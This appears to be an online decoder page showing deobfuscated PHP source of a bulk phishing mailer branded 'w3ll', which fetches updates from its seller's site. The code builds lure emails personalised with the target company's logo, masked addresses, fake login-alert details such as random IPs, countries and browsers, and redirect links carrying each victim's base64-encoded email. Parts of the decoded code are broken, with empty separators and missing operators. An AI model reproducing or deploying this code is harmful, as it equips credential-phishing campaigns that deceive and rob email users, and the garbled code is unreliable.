Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

     
    error_reporting(0);
    include 'config.php';

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    require 'setting/phpmailer/Exception.php';
    require 'setting/phpmailer/PHPMailer.php';
    require 'setting/phpmailer/SMTP.php';

//Updates..
system('clear');
echo("Checking updates...\n");

$version = 2.4;
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://w3llstore.co/api-update.php?version='.$version);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Connection: keep-alive';
$headers[] = 'Cache-Control: max-age=0';
$headers[] = 'Upgrade-Insecure-Requests: 1';
$headers[] = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'Sec-Fetch-User: ?1';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,**;q=0.8';
    $headers[] = 'Accept-Encoding: gzip, deflate, br';
    $headers[] = 'Accept-Language: en-US,en;q=0.9';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close ($ch);

    return $result;
}

$checkval = checkValid($uToken);

function privateLHZ($replacement, $data, $opt = null) {
    $domains = explode('@', $replacement);
    $domain = $domains[1];
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function privateLHZ1($replacement, $data, $opt = null) {
    $domains = explode('@', $replacement);
    $domain = $domains[1];
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function RandString($randstr)
{
    $char = 'QWERTYUIOPASDFGHJKLZXCVBNM123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function RandString1($randstr)
{
    $char = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;
};

function RandNumber($randstr)
{
    $char = '123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function secret_mail($email)
{
    $em   = explode("@",$email);
    $name = implode(array_slice($em, 0, count($em)-1), '@');
    $len  = floor(strlen($name)/2);

    return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
}

function download_image1($image_url, $image_file){
        $fp = fopen ($image_file, 'w+');              // open file handle

        $ch = curl_init($image_url);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // enable if you want
        curl_setopt($ch, CURLOPT_FILE, $fp);          // output to file
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);      // some large value to allow curl to run for a long time
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        // curl_setopt($ch, CURLOPT_VERBOSE, true);   // Enable this line to see debug prints
        curl_exec($ch);

        curl_close($ch);                              // closing curl handle
        fclose($fp);                                  // closing file handle
}

function lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
                            
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuser.me/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->results[0]->gender;
            $w3ll_data_title = $data->results[0]->name->title;
            $w3ll_data_first = $data->results[0]->name->first;
            $w3ll_data_last = $data->results[0]->name->last;
            $w3ll_data_street_number = $data->results[0]->location->street->number;
            $w3ll_data_street_name = $data->results[0]->location->street->name;
            $w3ll_data_city = $data->results[0]->location->city;
            $w3ll_data_state = $data->results[0]->location->state;
            $w3ll_data_country = $data->results[0]->location->country;
            $w3ll_data_post_code = $data->results[0]->location->postcode;
            $w3ll_data_latitude = $data->results[0]->location->coordinates->latitude;
            $w3ll_data_longitude = $data->results[0]->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->results[0]->location->timezone->offset;
            $w3ll_data_timezone_description = $data->results[0]->location->timezone->description;
            $w3ll_data_email = $data->results[0]->email;
            $w3ll_data_uuid = $data->results[0]->login->uuid;
            $w3ll_data_username = $data->results[0]->login->username;
            $w3ll_data_password = $data->results[0]->login->password;
            $w3ll_data_salt = $data->results[0]->login->salt;
            $w3ll_data_md5 = $data->results[0]->login->md5;
            $w3ll_data_sha1 = $data->results[0]->login->sha1;
            $w3ll_data_sha256 = $data->results[0]->login->sha256;
            $w3ll_data_dob_date = $data->results[0]->dob->date;
            $w3ll_data_age = $data->results[0]->dob->age;
            $w3ll_data_registered = $data->results[0]->registered->date;
            $w3ll_data_phone = $data->results[0]->phone;
            $w3ll_data_cell = $data->results[0]->cell;
            $w3ll_data_id_name = $data->results[0]->id->name;
            $w3ll_data_id_value = $data->results[0]->id->value;
            $w3ll_data_picture_small = $data->results[0]->picture->thumbnail;
            $w3ll_data_picture_medium = $data->results[0]->picture->medium;
            $w3ll_data_picture_large = $data->results[0]->picture->large;
            $w3ll_data_nat = $data->results[0]->nat;
    }
    curl_close($ch);
  
    $users = explode('@', $email);
    $user = $users[0];
    $user1 = ucwords("$users[0]");
    $domains = explode('@', $email);
    $domain = $domains[1];
    $domains1 = explode(, $domain);
    $domain1 = ucwords ("$domains1[0]");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logo.clearbit.com/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logo.clearbit.com/$domain", "$domain.jpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);


    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = $matches[1];

    $host = explode(, $host);
    $host = $host[0];

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    
    

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "St. Helena", "St. Pierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (U.S.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 8.1', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = file_get_contents($msgfile);
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function subjecting($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuser.me/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->results[0]->gender;
            $w3ll_data_title = $data->results[0]->name->title;
            $w3ll_data_first = $data->results[0]->name->first;
            $w3ll_data_last = $data->results[0]->name->last;
            $w3ll_data_street_number = $data->results[0]->location->street->number;
            $w3ll_data_street_name = $data->results[0]->location->street->name;
            $w3ll_data_city = $data->results[0]->location->city;
            $w3ll_data_state = $data->results[0]->location->state;
            $w3ll_data_country = $data->results[0]->location->country;
            $w3ll_data_post_code = $data->results[0]->location->postcode;
            $w3ll_data_latitude = $data->results[0]->location->coordinates->latitude;
            $w3ll_data_longitude = $data->results[0]->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->results[0]->location->timezone->offset;
            $w3ll_data_timezone_description = $data->results[0]->location->timezone->description;
            $w3ll_data_email = $data->results[0]->email;
            $w3ll_data_uuid = $data->results[0]->login->uuid;
            $w3ll_data_username = $data->results[0]->login->username;
            $w3ll_data_password = $data->results[0]->login->password;
            $w3ll_data_salt = $data->results[0]->login->salt;
            $w3ll_data_md5 = $data->results[0]->login->md5;
            $w3ll_data_sha1 = $data->results[0]->login->sha1;
            $w3ll_data_sha256 = $data->results[0]->login->sha256;
            $w3ll_data_dob_date = $data->results[0]->dob->date;
            $w3ll_data_age = $data->results[0]->dob->age;
            $w3ll_data_registered = $data->results[0]->registered->date;
            $w3ll_data_phone = $data->results[0]->phone;
            $w3ll_data_cell = $data->results[0]->cell;
            $w3ll_data_id_name = $data->results[0]->id->name;
            $w3ll_data_id_value = $data->results[0]->id->value;
            $w3ll_data_picture_small = $data->results[0]->picture->thumbnail;
            $w3ll_data_picture_medium = $data->results[0]->picture->medium;
            $w3ll_data_picture_large = $data->results[0]->picture->large;
            $w3ll_data_nat = $data->results[0]->nat;
    }
    curl_close($ch);

    $users = explode('@', $email);
    $user = $users[0];
    $user1 = ucwords("$users[0]");
    $domains = explode('@', $email);
    $domain = $domains[1];
    $domains1 = explode(, $domain);
    $domain1 = ucwords ("$domains1[0]");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logo.clearbit.com/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logo.clearbit.com/$domain", "$domain.jpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);

    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = $matches[1];

    $host = explode(, $host);
    $host = $host[0];

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "St. Helena", "St. Pierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (U.S.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 8.1', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = $msgfile;
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


